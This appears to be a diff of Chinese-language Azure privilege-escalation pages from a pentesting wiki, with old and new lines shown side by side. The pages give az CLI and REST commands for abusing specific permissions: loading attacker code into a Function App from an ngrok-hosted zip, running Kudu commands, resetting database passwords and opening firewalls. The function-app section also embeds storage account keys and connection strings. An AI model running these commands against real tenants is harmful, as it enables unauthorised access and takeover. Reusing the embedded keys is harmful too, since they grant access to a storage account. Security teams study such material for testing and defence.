因此,可以设置设置的值**`WEBSITE_RUN_FROM_PACKAGE`**指向包含要在Web应用程序内部执行的新代码的URL zip文件
@@ -205,7 +205,7 @@ ngrok http 8000
```
- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`**,指向包含代码的 **zip** 的 URL。
以下是我的 **自定义设置,您需要更改为您自己的**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这是我托管应用程序的地方。
以下是我的 **自定义设置,您需要更改值以适应您的设置**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这是我托管应用程序的地方。
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### Microsoft.Web/sites/hostruntime/vfs/write
### `Microsoft.Web/sites/hostruntime/vfs/write`
拥有此权限可以通过网络控制台或通过以下API端点**修改应用程序的代码**
通过此权限,可以**通过网络控制台(或通过以下 API 端点)修改应用程序的代码**
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
此权限允许列出所有发布配置文件,这些配置文件基本上包含 **基本身份验证凭据**
```bash
@@ -242,7 +242,7 @@ az functionapp deployment user set \
```
- 如果**REDACTED**凭据
如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`
如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用程序的名称,因此:`$<app-name>`。_
_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用名称,因此:`$<app-name>`。_
您还可以通过 `https://<app-name>.scm.azurewebsites.net/BasicAuth` 访问网页。
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_请注意,**FTP 用户名** 通常格式为 \<app-name>\\$\<app-name>。_
### Microsoft.Web/sites/publish/Action
### `Microsoft.Web/sites/hostruntime/vfs/read`
根据 [**文档**](https://github.com/projectkudu/kudu/wiki/REST-API#command),此权限允许在 SCM 服务器内部**执行命令**,这可能用于修改应用程序的源代码:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
此权限允许通过 VFS **读取应用的源代码**
此权限允许通过 VFS **读取应用程序的源代码**
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### Microsoft.Web/sites/functions/token/action
### `Microsoft.Web/sites/functions/token/action`
拥有此权限可以[获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码
通过此权限可以 [获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码
然而,在我最近的检查中没有返回任何令牌,因此它可能已被禁用或不再有效,但以下是您将如何操作的方式:
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
此权限允许**启用可能被禁用的函数**(或禁用它们)。
```bash
@@ -338,19 +329,19 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
在以下 URL 中也可以查看一个函数是启用还是禁用(使用括号中的权限):
可以在以下 URL 中查看函数是启用禁用(使用括号中的权限):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub例如并使函数执行它。
通过这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub例如并使函数执行它。
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
拥有这些权限可以**将新的用户管理身份附加到函数**。如果函数被攻破,这将允许将权限提升到任何用户管理身份。
```bash
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### 远程调试
也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是默认情况下Azure 会在 2 天内关闭此选项,以防开发人员忘记,从而避免留下易受攻击的配置。
也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是默认情况下Azure 会在开发者忘记时将此选项在 2 天内关闭,以避免留下易受攻击的配置。
可以通过以下方式检查函数是否启用了调试:
```bash
@@ -374,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
### 更改 Github 仓库
我尝试通过执行以下命令更改部署发生的 Github 仓库,但即使它确实更改了,**新代码并未加载**(可能是因为它期望 Github Action 更新代码)。\
此外,**托管身份联合凭未更新**以允许新仓库,因此看起来这并不是很有用。
此外,**托管身份联合凭未更新**以允许新仓库,因此看起来这并不是很有用。
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -10,7 +10,7 @@
../az-services/az-keyvault.md
{{#endref}}
### Microsoft.KeyVault/vaults/write
### `Microsoft.KeyVault/vaults/write`
拥有此权限的攻击者将能够修改密钥保管库的策略(密钥保管库必须使用访问策略而不是 RBAC
```bash

View File

@@ -5,15 +5,13 @@
## Logic Apps Privesc
有关 SQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-logic-apps.md" %}
[az-logic-apps.md](../az-services/az-logic-apps.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
拥有此权限,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了各种系统和服务之间的自动化过程和集成。
{% code overflow="wrap" %}
拥有此权限,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了不同系统和服务之间的自动化过程和集成。
```bash
az logic workflow create \
--resource-group <resource_group_name> \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
{% endcode %}
更改后,您可以使用以下命令运行它:
然后在更改后,您可以使用以下命令运行它:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
拥有这些权限,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。
{% code overflow="wrap" %}
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
拥有这些权限,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQL 数据库权限提升
有关 SQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-mysql.md" %}
[az-mysql.md](../az-services/az-mysql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-mysql.md
{{#endref}}
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
拥有此权限,您可以在 Azure 上创建、更新或删除 MySQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。
{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name <ServerName> \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier <PricingTier> \
--version <MySQLVersion>
```
{% endcode %}
例如,这些权限允许更改 MySQL 密码,这在启用 MySQL 身份验证的情况下当然很有用。
{% code overflow="wrap" %}
例如,这些权限允许更改 MySQL 密码,当然在启用 MySQL 身份验证的情况下非常有用。
```bash
az mysql flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下:
{% code overflow="wrap" %}
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法:
```bash
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 MySQL 服务器的完全管理控制。重要的是flexible-server 必须具有用户分配的托管身份以供使用。
{% code overflow="wrap" %}
通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。可以通过将自己或其他帐户设置为 AD 管理员来利用此权限,从而获得对 MySQL 服务器的完全管理控制。重要的是,flexible-server 必须具有用户分配的托管身份以供使用。
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,15 +5,13 @@
## PostgreSQL Privesc
有关 SQL 数据库的更多信息,请查看:
{% content-ref url="../az-services/az-postgresql.md" %}
{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
拥有此权限,您可以在 Azure 上创建、更新或删除 PostgreSQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。
{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name <ServerName> \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier <PricingTier> \
--version <PostgreSQLVersion>
```
{% endcode %}
例如,这些权限允许更改 PostgreSQL 密码,这在启用 PostgreSQL 身份验证的情况下当然很有用。
{% code overflow="wrap" %}
例如,这些权限允许更改 PostgreSQL 密码,当然在启用 PostgreSQL 身份验证的情况下非常有用。
```bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
```
{% endcode %}
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下:
{% code overflow="wrap" %}
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法:
```bash
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。更新现有主体尚不支持,因此如果已创建一个,您必须先将其删除。
通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。尚不支持更新现有主体,因此如果已创建一个,您必须先将其删除
重要的是flexible-server 必须具有用户分配的托管身份以供使用。
{% code overflow="wrap" %}
重要的是flexible-server 必须有用户分配的托管身份可供使用
```bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能绕过基于角色的访问控制 (RBAC)。
如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能绕过基于角色的访问控制 (RBAC)。
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
@@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
```
## 参考文献
## 参考
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -1,8 +1,8 @@
# Az - SQL 数据库权限提升
# Az - SQL Database Privesc
{{#include ../../../banners/hacktricks-training.md}}
## SQL 数据库权限提升
## SQL Database Privesc
有关 SQL 数据库的更多信息,请查看:
@@ -10,9 +10,9 @@
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现对服务器的未经授权的访问或控制。他们还可以创建新服务器可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制访问权限。
拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现未经授权的访问或对服务器的控制。他们还可以创建新服务器可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制访问权限。
```bash
# Change the server password
az sql server update \
@@ -35,7 +35,7 @@ az sql server update \
--resource-group <resource-group> \
--enable-public-network true
```
### "Microsoft.Sql/servers/firewallRules/write"
### `Microsoft.Sql/servers/firewallRules/write`
攻击者可以操纵 Azure SQL 服务器上的防火墙规则,以允许未经授权的访问。这可以被利用来向特定的 IP 地址或整个 IP 范围(包括公共 IP开放服务器从而使恶意行为者能够访问。此后渗透活动可以用来绕过现有的网络安全控制建立持久性或通过暴露敏感资源来促进环境内的横向移动。
```bash
@@ -58,9 +58,9 @@ az sql server firewall-rule update \
此外,`Microsoft.Sql/servers/outboundFirewallRules/delete` 权限允许您删除防火墙规则。
注意:必须启用公共访问
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未授权访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。
拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未授权访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。
```bash
az sql server firewall-rule create \
--server <server_name> \
@@ -72,9 +72,9 @@ az sql server firewall-rule create \
此外,`Microsoft.Sql/servers/ipv6FirewallRules/delete` 权限允许您删除防火墙规则。
注意:必须启用公共访问
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
通过这些权限,您可以在 Azure SQL Server 环境中进行权限提升,访问 SQL 数据库并检索关键信息。使用下面的命令,攻击者或授权用户可以将自己或其他帐户设置为 Azure AD 管理员。如果启用了 "Microsoft Entra Authentication Only",您将能够访问服务器及其实例。以下是为 SQL 服务器设置 Azure AD 管理员的命令:
通过这些权限,您可以在 Azure SQL Server 环境中进行权限提升,访问 SQL 数据库并检索关键信息。使用下面的命令,攻击者或授权用户可以将自己或其他帐户设置为 Azure AD 管理员。如果启用了“仅 Microsoft Entra 身份验证”,您将能够访问服务器及其实例。以下是为 SQL 服务器设置 Azure AD 管理员的命令:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -82,9 +82,9 @@ az sql server ad-admin create \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
拥有这些权限,您可以在 Azure SQL Server 上配置和强制执行 "Microsoft Entra Authentication Only",这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅身份验证。
通过这些权限,您可以在 Azure SQL Server 上配置和强制执行Microsoft Entra 仅限身份验证”,这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅身份验证。
```bash
#Enable
az sql server azure-ad-only-auth enable \

View File

@@ -10,21 +10,21 @@
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/listkeys/action
### `Microsoft.Storage/storageAccounts/listkeys/action`
具有此权限的主体将能够列出(以及访问密钥的秘密值)存储帐户的**访问密钥**。这允许主体提升其在存储帐户上的权限。
具有此权限的主体将能够列出(以及访问密钥的秘密值)存储帐户的**访问密钥**。 这允许主体提升其在存储帐户上的权限。
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
具有此权限的主体将能够更新并获取存储帐户的**访问密钥**的新密值。这允许主体提升其在存储帐户上的权限。
具有此权限的主体将能够更新并获取存储帐户的**访问密钥**的新密值。这允许主体提升其在存储帐户上的权限。
此外,在响应中,用户将获得更新密钥的值以及未更新密钥的值:
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### Microsoft.Storage/storageAccounts/write
### `Microsoft.Storage/storageAccounts/write`
具有此权限的主体将能够创建或更新现有的存储帐户,更新任何设置,例如网络规则或策略。
```bash
@@ -36,12 +36,12 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
```
## Blobs 特定的权限提升
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
第一个权限允许**修改容器中的不可变性策略**,第二个权限允许删除它们。
> [!NOTE]
> 请注意,如果不可变性策略处于锁定状态,无法执行这两项操作。
> 请注意,如果不可变性策略处于锁定状态,无法执行这两项操作。
```bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## 文件共享特定权限提升
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
这应该允许拥有此权限的用户能够获取共享文件系统内文件的所有权。
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
这应该允许拥有此权限的用户能够修改共享文件系统内文件的权限。
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
这应该允许拥有此权限的用户能够以超级用户身份在文件系统内执行操作。
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
拥有此权限后,攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者以特定权限(如读取r、写入w、删除d和列出l)授予自己对存储帐户的访问。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。
拥有此权限攻击者可以为 Azure 存储帐户(配置为层次命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者授予自己特定权限的存储帐户,例如读取r、写入w、删除d和列出l等。此外使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -80,9 +80,9 @@ az storage account local-user create \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
通过此权限,攻击者可以 Azure Storage 账户中本地用户重新生成密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可获得对存储户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储户内容。
通过此权限,攻击者可以重新生成 Azure 存储帐户中本地用户密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可能会获得对存储户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储户内容。
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -94,9 +94,9 @@ az storage account local-user regenerate-password \
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob如果它们之前被软删除。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据从而可能导致未经授权的访问。
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob如果它们之前被软删除。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据从而可能导致未经授权的访问。
```bash
#Restore the soft deleted container
az storage container restore \
@@ -110,7 +110,7 @@ az storage blob undelete \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。此权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
```bash

View File

@@ -4,7 +4,7 @@
## 基本信息
